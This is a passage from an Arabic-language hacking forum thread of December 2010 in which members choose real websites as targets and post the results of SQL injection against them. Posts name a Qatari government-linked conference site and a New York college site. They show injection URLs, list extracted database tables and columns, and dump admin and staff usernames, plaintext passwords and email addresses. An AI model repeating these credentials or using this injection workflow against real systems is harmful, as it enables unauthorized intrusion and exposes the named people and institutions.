08-12-2010, 01:19 AM
| رقم المشاركة : 361 (permalink) | ||
 [align=center]الهدف الجديد هو موقع وزارة الخارجية لدولة قطر كود PHP: بالتوفيق تحياتي [/align]
| |||
|
|
|
08-12-2010, 02:00 AM
| رقم المشاركة : 363 (permalink) | ||
| سلام عليكم هدا ما استطعت أن أطلعه
| |||
|
|
|
08-12-2010, 02:21 AM
| رقم المشاركة : 364 (permalink) | ||
| [align=center]تسلم ايدك على المعلومات كود PHP: تحياتي [/align]
| |||
|
|
|
08-12-2010, 07:18 AM
| رقم المشاركة : 365 (permalink) | |||||||||||||||||||||||||
تم حقن الهدف: الموقع بسيط اصدر القاعدة كود PHP: استخرج اسم القاعدة: كود PHP: استخراج الجداول: كود PHP: كود PHP: كود PHP: ملاحظة بسيطة: نرجو من كل عضو يقوم بالحقن موقع ان يضع مراحل عملية الحقن و ذكر المشكل التي تعرض لها لتعم الفائدة على جميع وحرصا على جملية الموضوع
التعديل الأخير تم بواسطة kanvi ; 08-12-2010 الساعة 07:20 AM. | ||||||||||||||||||||||||||
|
|
|
08-12-2010, 12:42 PM
| رقم المشاركة : 366 (permalink) | |||||||||||||||||||||
تم حقن الموقع وهذه هي النتائج لاحظت وجود اكثر من سيجما حالوت ان اجرب عدد منهم وهذه هي النتائج الجداول التي تحتوي على باس ةورد(لاحظ السيجما) http://www.qatar-conferences.org/ara...115,%2037%29-- admin_login:password:qatarcon_ararabsummit admin_login:password:qatarcon_arcomoros admin_login:password:qatarcon_ardarfur admin_login:password:qatarcon_ardarfur2 admin_login:password:qatarcon_ardemo10 admin_login:password:qatarcon_ardevelopment admin_login:password:qatarcon_ardialogue09 admin_login:password:qatarcon_ardialogue10 admin_logi حقنة استخراج العواميد الموجودة فن الجدول admin_login http://www.qatar-conferences.org/ara...5f6c6f67696e-- نتيجة الحقنة admin_login:id:qatarcon_ararabsummit admin_login:username:qatarcon_ararabsummit admin_login:password:qatarcon_ararabsummit admin_login:id:qatarcon_arcomoros admin_login:username:qatarcon_arcomoros admin_login:password:qatarcon_arcomoros admin_login:id:qatarcon_ardarfur admin_login:username:qatarcon_ardarfur admin_login:password:qatarcon_ar لاحظ اختلاف السيجما واستخراج الاعمدة من عدة جداول بنفس الاسم من سيجما مختلفة حقنة استخراج بيانتا الادمن http://www.qatar-conferences.org/ara...+admin_login-- يمكنك التنقل في السيجما من خلال وضع اسم السيجما في الاستغلال قبل admin_login مسبوقا بـ . from+admin_login => from+qatarcon_ararabsummit.admin_login معلومات الادمن (اليوزر بعده الباس) ________________ p4362721 p4362721 ________________ dibarab dibarab ________________ dibarabdemocracy dibarabdemocracy ________________ p5818834 p5818834 ________________ dibdemocracy08 dibdemocracy08 ________________ p5818834 p5818834 ________________ dibdialogue08 dibdialogue08 لن اضع الحقن التي استخرجت بها المعلومات لاني شرحت الطريقة فوق بل انتم قوموا بذلك للتعلم فقط يا شباب انا بنصحكم ان لا تبحثوا عن لوحة التحكم لانه موقع عربي (قطر) اصلا انا بتوقع ان ما في لوحة تحكم لاني لاحظت ان هذا الموقع كأنه مرتبط مع مواقع حكومية قطرية اخرى يمكن تكون لوحة تحكم وحدة لهذه المواقع الغريب ان اسم المستخدم نفسة كلمة السر !! ارجو من الاخ ماستر مراسلة ادارة الموقع لترقيع الثغرة
| ||||||||||||||||||||||
|
|
|
08-12-2010, 02:23 PM
| رقم المشاركة : 367 (permalink) | |||||||||||||||||||||||||
بارك الله فيك اخي الغالي حقنة رائعة واصل وننتظر الاخ مستر تيج... مستر تيج>>مممم اذا واجهة اي مشاكل اطرحها هنا والاخوان ما راح يقصرو معاك تحياتي
| ||||||||||||||||||||||||||
|
|
|
08-12-2010, 02:29 PM
| رقم المشاركة : 368 (permalink) | |||||||||||||||||||||||||
[align=center]تسلم ايدك على الحقنة الرائعة ياريت الاعضاء الباقين يكملوها ويقومو بوضع رابط الحقنة بعد كل هذه المعلومات صار الموقع سهل جدا.. وبالنسبة للوحة التحكم كلامك سليم واما بالنسبة لليوزر والباس فاعتقد شي عادي يعني هما ما واضعين اليوزرات على سكربت ستاف او عاملينها ظاهرة للجميع وبالاخير ما في لوحة تحكم على هذا الموقع لانهم رابطينها على سيرفر ثاني والله اعلم بارك الله فيك تحياتي[/align]
| ||||||||||||||||||||||||||
|
|
|
08-12-2010, 03:24 PM
| رقم المشاركة : 370 (permalink) | ||
| كود: http://www.mcny.edu/news/newsdetail.php?id=389 الحقنة ركبوها أنتم لتتعلمو الحقن ==========tables=================== trackrsvp_user:password:audrey_mcnydb users:password:audrey_mcnydb wp_posts:post_password:audrey_test wp_users:user_pass:audrey_test ======columns of table 1================ trackrsvp_user:id:audrey_mcnydb trackrsvp_user:username:audrey_mcnydb trackrsvp_user:password:audrey_mcnydb trackrsvp_user:fname:audrey_mcnydb trackrsvp_user:lname:audrey_mcnydb ==========columns of table 2============ users:fname:audrey_mcnydb users:lname:audrey_mcnydb users:email:audrey_mcnydb users:department:audrey_mcnydb users:user_name:audrey_mcnydb users:password:audrey_mcnydb users:level:audrey_mcnydb users:page:audrey_mcnydb users:user_id:audrey_mcnydb =================================== الأيدي و يوزر الأدمن و باسوورده 1:aoh:test2 باقي الأعضاء + رقم العضوية + الباس + اليوزر + الإيميل 1:aoh:test21:aoh:audrey:aoh@mcny.edu 2:erobles:audrey:erobles@mcny.edu 20:mmelendez:news2:MMelendez@mcny.edu 11:scockerl:spagirl:scockerl@mcny.edu 14:sservices:audrey:sts@mcny.edu 13:mfung:dechet0:afung@metropolitan.edu 15:jsantiago:audrey:jsantiago@mcny.edu 16:urban:dialogues:urbandialogues@mcny.edu 18:epena:mcnypena:epena@mcny.edu 6:slenhart:cohen:slenhart@mcny.edu 19:admissions:updates:admissions@mcny.edu
| |||
|
|
|
08-12-2010, 06:54 PM
| رقم المشاركة : 372 (permalink) | |||||||||||||||||||||||||
فعلا ياخى طلعت معايا نفس النتائج بس للاسف الباسوورد او اليوزر خطأ حتى مع تجربه الجدول users وده مسار اللوحه http://www.mcny.edu/admin
| ||||||||||||||||||||||||||
|
|
|
08-12-2010, 07:05 PM
| رقم المشاركة : 373 (permalink) | ||
| new target
| |||
|
|
|
08-12-2010, 07:16 PM
| رقم المشاركة : 375 (permalink) | |||||||||||||||||||||||||
أخي العزيز الباس و اليوزر صحيحين + المسار اللي أنت وضعتو هو مسار مزيف عاملينو أصحاب السكربتات و في هذا الموقع عملو مبرمج الموقع لإبعاد المخترقين و يمكنك التأكد من صحة كلامي
| ||||||||||||||||||||||||||
|
|
 |
| مواقع النشر (المفضلة) |
« الموضوع السابق
|
الموضوع التالي »
العرض العادي
|
|
المواضيع المتشابهه | ||||
| الموضوع | كاتب الموضوع | المنتدى | مشاركات | آخر مشاركة |
| العدد (3) من غرفة الحقن | darkman.dz | SQL قواعد البيانات | 397 | 12-30-2010 01:23 PM |
| جهاز من غرفة جـنـسـيـة | MasTer MiND | Hackers Showoff | 6 | 06-25-2009 04:01 PM |
الساعة الآن 09:50 PM
SEO by vBSEO 3.6.0